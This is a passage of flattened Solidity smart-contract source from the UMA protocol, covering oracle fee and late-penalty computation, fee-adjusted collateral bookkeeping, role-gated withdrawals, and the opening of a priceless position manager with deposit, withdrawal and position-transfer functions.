* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
}
/**
* Withdrawable contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./MultiRole.sol";
/**
* @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds.
*/
abstract contract Withdrawable is MultiRole {
using SafeERC20 for IERC20;
uint256 private roleId;
/**
* @notice Withdraws ETH from the contract.
*/
function withdraw(uint256 amount) external onlyRoleHolder(roleId) {
Address.sendValue(msg.sender, amount);
}
/**
* @notice Withdraws ERC20 tokens from the contract.
* @param erc20Address ERC20 token to withdraw.
* @param amount amount of tokens to withdraw.
*/
function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) {
IERC20 erc20 = IERC20(erc20Address);
erc20.safeTransfer(msg.sender, amount);
}
/**
* @notice Internal method that allows derived contracts to create a role for withdrawal.
* @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function
* properly.
* @param newRoleId ID corresponding to role whose members can withdraw.
* @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership.
* @param withdrawerAddress new manager of withdrawable role.
*/
function _createWithdrawRole(
uint256 newRoleId,
uint256 managingRoleId,
address withdrawerAddress
) internal {
roleId = newRoleId;
_createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress);
}
/**
* @notice Internal method that allows derived contracts to choose the role for withdrawal.
* @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be
* called by the derived class for this contract to function properly.
* @param setRoleId ID corresponding to role whose members can withdraw.
*/
function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) {
roleId = setRoleId;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/interfaces/StoreInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/AdministrateeInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is AdministrateeInterface, Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees virtual {
// Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the
// regular fee applied linearly since the last update. This implies that the compounding rate depends on the
// frequency of update transactions that have this modifier, and it never reaches the ideal of continuous
// compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the
// complexity of compounding data on-chain.
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) {
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract.
(
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
) = getOutstandingRegularFees(time);
lastPaymentTime = time;
// If there are no fees to pay then exit early.
if (totalPaid.isEqual(0)) {
return totalPaid;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more
* than the total collateral within the contract then the totalPaid returned is full contract collateral amount.
* @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
* @return regularFee outstanding unpaid regular fee.
* @return latePenalty outstanding unpaid late fee for being late in previous fee payments.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
*/
function getOutstandingRegularFees(uint256 time)
public
view
returns (
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
)
{
StoreInterface store = _getStore();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral or if fees were already paid during this block.
if (collateralPool.isEqual(0) || lastPaymentTime == time) {
return (regularFee, latePenalty, totalPaid);
}
(regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool);
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return (regularFee, latePenalty, totalPaid);
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/**
* @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors.
* @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively
* pays all sponsors a pro-rata portion of the excess collateral.
* @dev This will revert if PfC is 0 and this contract's collateral balance > 0.
*/
function gulp() external nonReentrant() {
_gulp();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
// Note: revert reason removed to save bytecode.
require(collateralPool.isGreaterThan(amount));
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _gulp() internal {
FixedPoint.Unsigned memory currentPfc = _pfc();
FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
if (currentPfc.isLessThan(currentBalance)) {
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc));
}
}
function _pfc() internal view virtual returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Returns the user's collateral minus any pending fees that have yet to be subtracted.
function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory)
{
(, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) =
getOutstandingRegularFees(getCurrentTime());
if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral;
// Calculate the total outstanding regular fee as a fraction of the total contract PFC.
FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc());
// Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee.
return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee));
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FeePayer.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
using Address for address;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
// Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend
// the functionality of the EMP to support a wider range of financial products.
FinancialProductLibrary public financialProductLibrary;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
* @param _financialProductLibraryAddress Contract providing contract state transformations.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress,
address _financialProductLibraryAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime());
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
// Initialize the financialProductLibrary at the provided address.
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
)
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime()
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0);
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
